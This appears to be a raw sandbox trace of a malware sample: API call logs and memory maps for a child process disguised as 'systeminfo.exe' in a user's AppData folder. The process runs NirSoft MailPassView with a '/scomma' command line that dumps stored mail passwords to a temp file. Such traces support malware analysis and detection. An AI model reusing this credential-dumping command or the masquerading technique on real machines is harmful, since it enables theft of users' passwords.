strlen (_Str="User Name Field") returned 0xf [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0xf, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str=",") returned 0x1 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str="Password Field") returned 0xe [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0xe, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str=",") returned 0x1 [0070.672] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.672] strlen (_Str="Created Time") returned 0xc [0070.673] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0xc, lpOverlapped=0x0) returned 1 [0070.673] strlen (_Str=",") returned 0x1 [0070.673] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0x1, lpOverlapped=0x0) returned 1 [0070.673] strlen (_Str="Modified Time") returned 0xd [0070.673] WriteFile (in: hFile=0x104, lpBuffer=0x28d580*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x28f580, lpOverlapped=0x0 | out: lpBuffer=0x28d580*, lpNumberOfBytesWritten=0x28f580*=0xd, lpOverlapped=0x0) returned 1 [0070.673] strlen (_Str="\r\n") returned 0x2 [0070.673] WriteFile (in: hFile=0x104, lpBuffer=0x28d584*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f584, lpOverlapped=0x0 | out: lpBuffer=0x28d584*, lpNumberOfBytesWritten=0x28f584*=0x2, lpOverlapped=0x0) returned 1 [0070.673] CloseHandle (hObject=0x104) returned 1 [0070.673] SetCursor (hCursor=0x10007) returned 0x10007 [0070.674] DeleteObject (ho=0x500a07a8) returned 1 [0070.674] exit (_Code=0) Thread: id = 78 os_tid = 0x724 Process: id = "11" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x45f3a000" os_pid = "0x66c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x81c" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB2F.tmp\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1856 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1857 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1858 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1859 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1860 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1861 start_va = 0x130000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1862 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1863 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe18a0 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1864 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1865 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1866 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1867 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1868 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1869 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1870 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1871 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1872 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1876 start_va = 0x400000 end_va = 0x41bfff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1877 start_va = 0x5c0000 end_va = 0x63ffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1878 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1879 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x7472f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1880 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x7477de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1881 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1882 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1883 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1884 start_va = 0x7e0000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 1885 start_va = 0x742f0000 end_va = 0x7448dfff entry_point = 0x7431e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1886 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1887 start_va = 0x74dd0000 end_va = 0x74e2ffff entry_point = 0x74dea3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1888 start_va = 0x74e90000 end_va = 0x74ea8fff entry_point = 0x74e94975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1889 start_va = 0x750d0000 end_va = 0x75126fff entry_point = 0x750e9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1890 start_va = 0x75130000 end_va = 0x751bffff entry_point = 0x75146343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1891 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75257478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1892 start_va = 0x752a0000 end_va = 0x7534bfff entry_point = 0x752aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1893 start_va = 0x75450000 end_va = 0x755abfff entry_point = 0x7549ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1894 start_va = 0x755b0000 end_va = 0x7564cfff entry_point = 0x755e3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1895 start_va = 0x756e0000 end_va = 0x7577ffff entry_point = 0x756f49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1896 start_va = 0x75780000 end_va = 0x75789fff entry_point = 0x757836a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1897 start_va = 0x75790000 end_va = 0x7588ffff entry_point = 0x757ab6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1898 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x75a032d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1899 start_va = 0x75bd0000 end_va = 0x75c4afff entry_point = 0x75bd1aee region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 1900 start_va = 0x75c50000 end_va = 0x76899fff entry_point = 0x75cd1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1901 start_va = 0x76d80000 end_va = 0x76e6ffff entry_point = 0x76d90569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1902 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1903 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1904 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1905 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1912 start_va = 0x420000 end_va = 0x5a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1913 start_va = 0x74e30000 end_va = 0x74e8ffff entry_point = 0x74e4158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1914 start_va = 0x75b00000 end_va = 0x75bcbfff entry_point = 0x75b0168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1915 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1916 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1917 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1918 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1919 start_va = 0xc00000 end_va = 0x1ffffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c00000" filename = "" Region: id = 1925 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1926 start_va = 0x8e0000 end_va = 0x9dffff entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 1929 start_va = 0x2000000 end_va = 0x22cefff entry_point = 0x2000000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1931 start_va = 0x74150000 end_va = 0x7415cfff entry_point = 0x74150000 region_type = mapped_file name = "pstorec.dll" filename = "\\Windows\\SysWOW64\\pstorec.dll" (normalized: "c:\\windows\\syswow64\\pstorec.dll") Region: id = 1932 start_va = 0x74130000 end_va = 0x74143fff entry_point = 0x74130000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 2170 start_va = 0x360000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2171 start_va = 0x2360000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 2172 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2173 start_va = 0x758d0000 end_va = 0x759ecfff entry_point = 0x758d158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2174 start_va = 0x750c0000 end_va = 0x750cbfff entry_point = 0x750c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2175 start_va = 0x758d0000 end_va = 0x759ecfff entry_point = 0x758d158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2176 start_va = 0x750c0000 end_va = 0x750cbfff entry_point = 0x750c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Thread: id = 76 os_tid = 0x660 [0068.942] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0068.942] __set_app_type (_Type=0x2) [0068.942] __p__fmode () returned 0x753431f4 [0068.942] __p__commode () returned 0x753431fc [0068.942] __getmainargs (in: _Argc=0x30fb3c, _Argv=0x30fb40, _Env=0x30fb44, _DoWildCard=0, _StartInfo=0x30fb48 | out: _Argc=0x30fb3c, _Argv=0x30fb40, _Env=0x30fb44) returned 0 [0068.942] _onexit (_Func=0x4123d0) returned 0x4123d0 [0068.942] _onexit (_Func=0x4123e1) returned 0x4123e1 [0068.942] _onexit (_Func=0x4123f2) returned 0x4123f2 [0068.942] _onexit (_Func=0x412433) returned 0x412433 [0068.942] GetStartupInfoA (in: lpStartupInfo=0x30faf0 | out: lpStartupInfo=0x30faf0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0068.943] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0068.943] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x742f0000 [0068.943] GetProcAddress (hModule=0x742f0000, lpProcName="InitCommonControlsEx") returned 0x743109ce [0068.943] InitCommonControlsEx (picce=0x30f6d0) returned 1 [0068.943] FreeLibrary (hLibModule=0x742f0000) returned 1 [0068.943] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75c50000 [0068.944] GetProcAddress (hModule=0x75c50000, lpProcName="SHGetSpecialFolderPathA") returned 0x75e9fb26 [0068.944] _mbscpy (in: param_1=0x102e63, param_2=0x413fc4 | out: param_1=0x102e63) returned 0x102e63 [0068.944] _mbscpy (in: param_1=0x1030a7, param_2=0x413fc4 | out: param_1=0x1030a7) returned 0x1030a7 [0068.944] _mbscpy (in: param_1=0x30f5a4, param_2=0x414488 | out: param_1=0x30f5a4) returned 0x30f5a4 [0068.944] CreateFontIndirectA (lplf=0x30f588) returned 0x100a0972 [0068.960] strncat (in: _Dest="", _Source="NØö0", _Count=0x1 | out: _Dest="N") returned="N" [0068.960] strncat (in: _Dest="N", _Source="iØö0", _Count=0x1 | out: _Dest="Ni") returned="Ni" [0068.960] strncat (in: _Dest="Ni", _Source="rØö0", _Count=0x1 | out: _Dest="Nir") returned="Nir" [0068.960] strncat (in: _Dest="Nir", _Source="SØö0", _Count=0x1 | out: _Dest="NirS") returned="NirS" [0068.960] strncat (in: _Dest="NirS", _Source="oØö0", _Count=0x1 | out: _Dest="NirSo") returned="NirSo" [0068.960] strncat (in: _Dest="NirSo", _Source="fØö0", _Count=0x1 | out: _Dest="NirSof") returned="NirSof" [0068.960] strncat (in: _Dest="NirSof", _Source="tØö0", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft" [0068.960] strncat (in: _Dest="NirSoft", _Source=" Øö0", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft " [0068.960] strncat (in: _Dest="NirSoft ", _Source="FØö0", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F" [0068.960] strncat (in: _Dest="NirSoft F", _Source="rØö0", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr" [0068.960] strncat (in: _Dest="NirSoft Fr", _Source="eØö0", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre" [0068.960] strncat (in: _Dest="NirSoft Fre", _Source="eØö0", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free" [0068.960] strncat (in: _Dest="NirSoft Free", _Source="wØö0", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew" [0068.960] strncat (in: _Dest="NirSoft Freew", _Source="aØö0", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa" [0068.960] strncat (in: _Dest="NirSoft Freewa", _Source="rØö0", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar" [0068.960] strncat (in: _Dest="NirSoft Freewar", _Source="eØö0", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware" [0068.960] strncat (in: _Dest="NirSoft Freeware", _Source=".Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware." [0068.960] strncat (in: _Dest="NirSoft Freeware.", _Source=" Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. " [0068.960] strncat (in: _Dest="NirSoft Freeware. ", _Source=" Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. " [0068.960] strncat (in: _Dest="NirSoft Freeware. ", _Source="hØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. h") returned="NirSoft Freeware. h" [0068.960] strncat (in: _Dest="NirSoft Freeware. h", _Source="tØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. ht") returned="NirSoft Freeware. ht" [0068.960] strncat (in: _Dest="NirSoft Freeware. ht", _Source="tØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. htt") returned="NirSoft Freeware. htt" [0068.960] strncat (in: _Dest="NirSoft Freeware. htt", _Source="pØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http") returned="NirSoft Freeware. http" [0068.960] strncat (in: _Dest="NirSoft Freeware. http", _Source=":Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http:") returned="NirSoft Freeware. http:" [0068.960] strncat (in: _Dest="NirSoft Freeware. http:", _Source="/Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http:/") returned="NirSoft Freeware. http:/" [0068.960] strncat (in: _Dest="NirSoft Freeware. http:/", _Source="/Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://") returned="NirSoft Freeware. http://" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://", _Source="wØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://w") returned="NirSoft Freeware. http://w" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://w", _Source="wØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://ww") returned="NirSoft Freeware. http://ww" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://ww", _Source="wØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www") returned="NirSoft Freeware. http://www" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www", _Source=".Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.") returned="NirSoft Freeware. http://www." [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.", _Source="nØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.n") returned="NirSoft Freeware. http://www.n" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.n", _Source="iØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.ni") returned="NirSoft Freeware. http://www.ni" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.ni", _Source="rØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nir") returned="NirSoft Freeware. http://www.nir" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nir", _Source="sØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirs") returned="NirSoft Freeware. http://www.nirs" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirs", _Source="oØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirso") returned="NirSoft Freeware. http://www.nirso" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirso", _Source="fØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsof") returned="NirSoft Freeware. http://www.nirsof" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirsof", _Source="tØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft") returned="NirSoft Freeware. http://www.nirsoft" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft", _Source=".Øö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.") returned="NirSoft Freeware. http://www.nirsoft." [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.", _Source="nØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.n") returned="NirSoft Freeware. http://www.nirsoft.n" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.n", _Source="eØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.ne") returned="NirSoft Freeware. http://www.nirsoft.ne" [0068.960] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.ne", _Source="tØö0", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.net") returned="NirSoft Freeware. http://www.nirsoft.net" [0068.960] LoadIconA (hInstance=0x400000, lpIconName=0x65) returned 0x2700f9 [0068.961] strncat (in: _Dest="", _Source="MØö0", _Count=0x1 | out: _Dest="M") returned="M" [0068.961] strncat (in: _Dest="M", _Source="aØö0", _Count=0x1 | out: _Dest="Ma") returned="Ma" [0068.961] strncat (in: _Dest="Ma", _Source="iØö0", _Count=0x1 | out: _Dest="Mai") returned="Mai" [0068.961] strncat (in: _Dest="Mai", _Source="lØö0", _Count=0x1 | out: _Dest="Mail") returned="Mail" [0068.961] strncat (in: _Dest="Mail", _Source="PØö0", _Count=0x1 | out: _Dest="MailP") returned="MailP" [0068.961] strncat (in: _Dest="MailP", _Source="aØö0", _Count=0x1 | out: _Dest="MailPa") returned="MailPa" [0068.961] strncat (in: _Dest="MailPa", _Source="sØö0", _Count=0x1 | out: _Dest="MailPas") returned="MailPas" [0068.961] strncat (in: _Dest="MailPas", _Source="sØö0", _Count=0x1 | out: _Dest="MailPass") returned="MailPass" [0068.961] strncat (in: _Dest="MailPass", _Source="VØö0", _Count=0x1 | out: _Dest="MailPassV") returned="MailPassV" [0068.961] strncat (in: _Dest="MailPassV", _Source="iØö0", _Count=0x1 | out: _Dest="MailPassVi") returned="MailPassVi" [0068.961] strncat (in: _Dest="MailPassVi", _Source="eØö0", _Count=0x1 | out: _Dest="MailPassVie") returned="MailPassVie" [0068.961] strncat (in: _Dest="MailPassVie", _Source="wØö0", _Count=0x1 | out: _Dest="MailPassView") returned="MailPassView" [0068.961] _mbscpy (in: param_1=0x30f744, param_2=0x30f5d4 | out: param_1=0x30f744) returned 0x30f744 [0068.961] strlen (_Str="/scomma") returned 0x7 [0068.961] strlen (_Str="C:\\ProgramData\\FB2F.tmp") returned 0x17 [0068.961] _strcmpi (_Str1="/savelangfile", _Str2="/scomma") returned -1 [0068.961] _strcmpi (_Str1="/savelangfile", _Str2="C:\\ProgramData\\FB2F.tmp") returned -1 [0068.961] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x30f5d0, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.961] _mbscat (in: param_1=0x30f5d0, param_2=0x4141e4 | out: param_1=0x30f5d0) returned 0x30f5d0 [0068.961] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo_lng.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo_lng.ini")) returned 0xffffffff [0068.962] _strcmpi (_Str1="/deleteregkey", _Str2="/scomma") returned -1 [0068.962] _strcmpi (_Str1="/deleteregkey", _Str2="C:\\ProgramData\\FB2F.tmp") returned -1 [0068.962] EnumResourceTypesA (hModule=0x400000, lpEnumFunc=0x40f402, lParam=0x0) returned 1 [0068.962] EnumResourceNamesA (hModule=0x400000, lpType=0x1, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.962] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x4194d8 [0068.962] SizeofResource (hModule=0x400000, hResInfo=0x4194d8) returned 0x134 [0068.962] LoadResource (hModule=0x400000, hResInfo=0x4194d8) returned 0x4196b8 [0068.962] LockResource (hResData=0x4196b8) returned 0x4196b8 [0068.962] EnumResourceNamesA (hModule=0x400000, lpType=0x2, lpEnumFunc=0x40f37c, lParam=0x0) returned 1 [0068.962] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x4194e8 [0068.962] SizeofResource (hModule=0x400000, hResInfo=0x4194e8) returned 0x3e8 [0068.962] LoadResource (hModule=0x400000, hResInfo=0x4194e8) returned 0x4197ec [0068.962] LockResource (hResData=0x4197ec) returned 0x4197ec [0068.962] FindResourceA (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x4194f8 [0068.962] SizeofResource (hModule=0x400000, hResInfo=0x4194f8) returned 0xd8 [0068.962] LoadResource (hModule=0x400000, hResInfo=0x4194f8) 